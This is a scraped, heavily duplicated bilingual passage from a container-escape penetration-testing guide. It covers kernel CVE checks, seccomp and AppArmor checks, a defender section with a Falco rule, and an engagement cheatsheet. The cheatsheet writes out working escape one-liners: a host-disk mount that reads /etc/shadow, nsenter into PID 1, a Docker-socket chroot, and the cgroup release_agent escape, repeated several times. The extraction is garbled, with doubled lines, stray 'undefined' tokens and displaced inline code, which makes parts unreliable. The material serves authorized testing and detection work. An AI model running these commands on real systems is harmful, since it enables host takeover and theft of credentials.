Identifying Kernel Version
确定内核版本
bash
uname -a
uname -r
cat /proc/versionbash
uname -a
uname -r
cat /proc/versionCheck for known vulnerable kernels
Check for known vulnerable kernels
DirtyPipe: CVE-2022-0847 (5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102)
DirtyPipe: CVE-2022-0847 (5.8 <= kernel < 5.16.11, 5.15.25, 5.10.102)
DirtyCow: CVE-2016-5195 (kernel < 4.8.3)
DirtyCow: CVE-2016-5195 (kernel < 4.8.3)
OverlayFS: CVE-2021-3493 (Ubuntu kernels)
OverlayFS: CVE-2021-3493 (Ubuntu kernels)
nftables: CVE-2023-32233 (kernel < 6.4)
nftables: CVE-2023-32233 (kernel < 6.4)
undefinedundefinedDirtyPipe from Container (CVE-2022-0847)
从容器利用 DirtyPipe(CVE-2022-0847)
bash
undefinedbash
undefinedOverwrites read-only files via pipe page cache poisoning
Overwrites read-only files via pipe page cache poisoning
Works from inside containers because it targets the shared kernel
Works from inside containers because it targets the shared kernel
Check kernel version
Check kernel version
uname -r
uname -r
Vulnerable: 5.8 through 5.16.10
Vulnerable: 5.8 through 5.16.10
The exploit overwrites /etc/passwd on the HOST from the container
The exploit overwrites /etc/passwd on the HOST from the container
because the page cache is shared between host and container
because the page cache is shared between host and container
Compile exploit (if gcc available in container)
Compile exploit (if gcc available in container)
PoC modifies root entry in /etc/passwd to remove password
PoC modifies root entry in /etc/passwd to remove password
undefinedundefinedChecking Seccomp and AppArmor
检查 Seccomp 和 AppArmor
bash
undefinedbash
undefinedCheck if seccomp is restricting syscalls
Check if seccomp is restricting syscalls
cat /proc/1/status | grep Seccomp
cat /proc/1/status | grep Seccomp
Seccomp: 0 = disabled, 1 = strict, 2 = filter
Seccomp: 0 = disabled, 1 = strict, 2 = filter
Check AppArmor profile
Check AppArmor profile
cat /proc/1/attr/current
cat /proc/1/attr/current
"unconfined" means no AppArmor restriction
"unconfined" means no AppArmor restriction
Check if kernel module loading is possible
Check if kernel module loading is possible
(no seccomp + CAP_SYS_MODULE)
(no seccomp + CAP_SYS_MODULE)
modprobe test 2>&1
insmod /tmp/evil.ko 2>&1
---modprobe test 2>&1
insmod /tmp/evil.ko 2>&1
---Detection / Defender View
检测 / 防御方视角
Defenders monitoring for container escape should watch for:
- Process monitoring: Unexpected processes with host PID namespace visibility. Processes spawned by container runtimes outside normal patterns (runc, containerd-shim creating shells).
- Filesystem events: Mount operations inside containers (syscalls from container PIDs). New files appearing in host
mount,/root/.ssh/authorized_keys,/etc/crontab./etc/passwd - Cgroup manipulation: Creation of new cgroups with set to 1. Writes to
notify_on_releasefiles.release_agent - Docker socket access: API calls to Docker socket from within containers. Container creation requests that include or host mount binds.
--privileged - Capability anomalies: Containers running with ,
CAP_SYS_ADMIN, or other dangerous capabilities that are not required by the application.CAP_SYS_PTRACE - Audit rules: Monitor for usage,
nsentercalls, and access tounsharefrom container contexts./proc/*/ns/* - Falco rules: Deploy runtime security with rules for unexpected shell spawns, sensitive file access, and privilege escalation inside containers.
bash
undefined防御方在监控容器逃逸时,应关注:
- 进程监控:出现对宿主 PID namespace 具有可见性的异常进程。容器 runtime 生成的进程偏离正常模式(例如 runc、containerd-shim 创建 shell)。
- 文件系统事件:容器内发生 mount 操作(来自容器 PID 的 syscall)。宿主
mount、/root/.ssh/authorized_keys、/etc/crontab中出现新文件。/etc/passwd - Cgroup 操纵:创建将 设置为 1 的新 cgroup。出现对
notify_on_release文件的写入。release_agent - Docker socket 访问:容器内部向 Docker socket 发起 API 调用。容器创建请求中包含 或宿主 mount 绑定。
--privileged - Capability 异常:容器以 、
CAP_SYS_ADMIN或应用不需要的其他危险 capabilities 运行。CAP_SYS_PTRACE - 审计规则:监控 使用、
nsenter调用,以及来自容器上下文的unshare访问。/proc/*/ns/* - Falco 规则:部署 runtime security,并制定规则检测异常 shell 生成、敏感文件访问和容器内权限提升。
bash
undefinedFalco rule example for detecting container escape attempts
Falco rule example for detecting container escape attempts
- rule: Detect Container Escape via cgroup notify_on_release
- rule: Detect Container Escape via cgroup notify_on_release
desc: Detects write to notify_on_release in cgroup directory
desc: Detects write to notify_on_release in cgroup directory
condition: >
condition: >
open_write and container and
open_write and container and
fd.name contains "notify_on_release"
fd.name contains "notify_on_release"
output: >
output: >
Container escape attempt via cgroup release_agent
Container escape attempt via cgroup release_agent
(user=%user.name container=%container.name file=%fd.name)
(user=%user.name container=%container.name file=%fd.name)
priority: CRITICAL
priority: CRITICAL
---
---Engagement Cheatsheet
测试速查表
bash
undefinedbash
undefined--- Detection ---
--- Detection ---
Am I in a container?
Am I in a container?
ls /.dockerenv 2>/dev/null && echo "Docker" || echo "Not Docker"
cat /proc/1/cgroup | grep -qE 'docker|kubepods|containerd' && echo "Containerized"
ls /.dockerenv 2>/dev/null && echo "Docker" || echo "Not Docker"
cat /proc/1/cgroup | grep -qE 'docker|kubepods|containerd' && echo "Containerized"
What capabilities do I have?
What capabilities do I have?
capsh --print 2>/dev/null || cat /proc/1/status | grep Cap
capsh --print 2>/dev/null || cat /proc/1/status | grep Cap
Is Docker socket available?
Is Docker socket available?
ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock 2>/dev/null
ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock 2>/dev/null
Am I privileged?
Am I privileged?
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED (NET_ADMIN)" && ip link del dummy0
mount -t tmpfs none /tmp/test 2>/dev/null && echo "PRIVILEGED (SYS_ADMIN)" && umount /tmp/test
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED (NET_ADMIN)" && ip link del dummy0
mount -t tmpfs none /tmp/test 2>/dev/null && echo "PRIVILEGED (SYS_ADMIN)" && umount /tmp/test
Cgroup version?
Cgroup version?
stat -fc %T /sys/fs/cgroup/
stat -fc %T /sys/fs/cgroup/
--- Exploitation (one-liners) ---
--- Exploitation (one-liners) ---
Privileged mount escape
Privileged mount escape
mkdir /mnt/host 2>/dev/null; mount /dev/sda1 /mnt/host; cat /mnt/host/etc/shadow
mkdir /mnt/host 2>/dev/null; mount /dev/sda1 /mnt/host; cat /mnt/host/etc/shadow
nsenter escape (with hostPID)
nsenter escape (with hostPID)
nsenter -t 1 -m -u -i -n -p -- bash
nsenter -t 1 -m -u -i -n -p -- bash
Docker socket escape
Docker socket escape
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/h alpine chroot /h
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/h alpine chroot /h
Cgroup escape (CAP_SYS_ADMIN)
Cgroup escape (CAP_SYS_ADMIN)
d=$(dirname $(ls -x /s*/fs/c*//r 2>/dev/null|head -n1)); mkdir -p $d/w;
echo 1 >$d/w/notify_on_release; t=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab);
echo $t/c >$d/release_agent; printf '#!/bin/sh\nid>/o' >/c; chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o
echo 1 >$d/w/notify_on_release; t=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab);
echo $t/c >$d/release_agent; printf '#!/bin/sh\nid>/o' >/c; chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o
d=$(dirname $(ls -x /s*/fs/c*//r 2>/dev/null|head -n1)); mkdir -p $d/w;
echo 1 >$d/w/notify_on_release; t=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab);
echo $t/c >$d/release_agent; printf '#!/bin/sh\nid>/o' >/c; chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o
echo 1 >$d/w/notify_on_release; t=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab);
echo $t/c >$d/release_agent; printf '#!/bin/sh\nid>/o' >/c; chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs"; sleep 1; cat /o
--- Post-Escape ---
--- Post-Escape ---
Validate host access
Validate host access
hostname; id; cat /etc/os-release; docker ps 2>/dev/null
---hostname; id; cat /etc/os-release; docker ps 2>/dev/null
---Key References
关键参考
- MITRE ATT&CK T1611 - Escape to Host
- CVE-2019-5736 - runc container breakout via /proc/self/exe overwrite
- CVE-2024-21626 - Leaky Vessels runc file descriptor leak
- CVE-2020-15257 - containerd host network namespace API access
- CVE-2022-0847 - DirtyPipe kernel privilege escalation
- Tool: deepce - https://github.com/stealthcopter/deepce
- Tool: CDK - https://github.com/cdk-team/CDK
- Tool: amicontained - https://github.com/genuinetools/amicontained
- Tool: nsenter - Linux util-linux package
- Docker Socket Escape - https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation
- CIS Docker Benchmark - runtime security configuration baselines
- MITRE ATT&CK T1611 - Escape to Host
- CVE-2019-5736 - runc container breakout via /proc/self/exe overwrite
- CVE-2024-21626 - Leaky Vessels runc file descriptor leak
- CVE-2020-15257 - containerd host network namespace API access
- CVE-2022-0847 - DirtyPipe kernel privilege escalation
- 工具:deepce - https://github.com/stealthcopter/deepce
- 工具:CDK - https://github.com/cdk-team/CDK
- 工具:amicontained - https://github.com/genuinetools/amicontained
- 工具:nsenter - Linux util-linux package
- Docker Socket Escape - https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation
- CIS Docker Benchmark - runtime 安全配置基线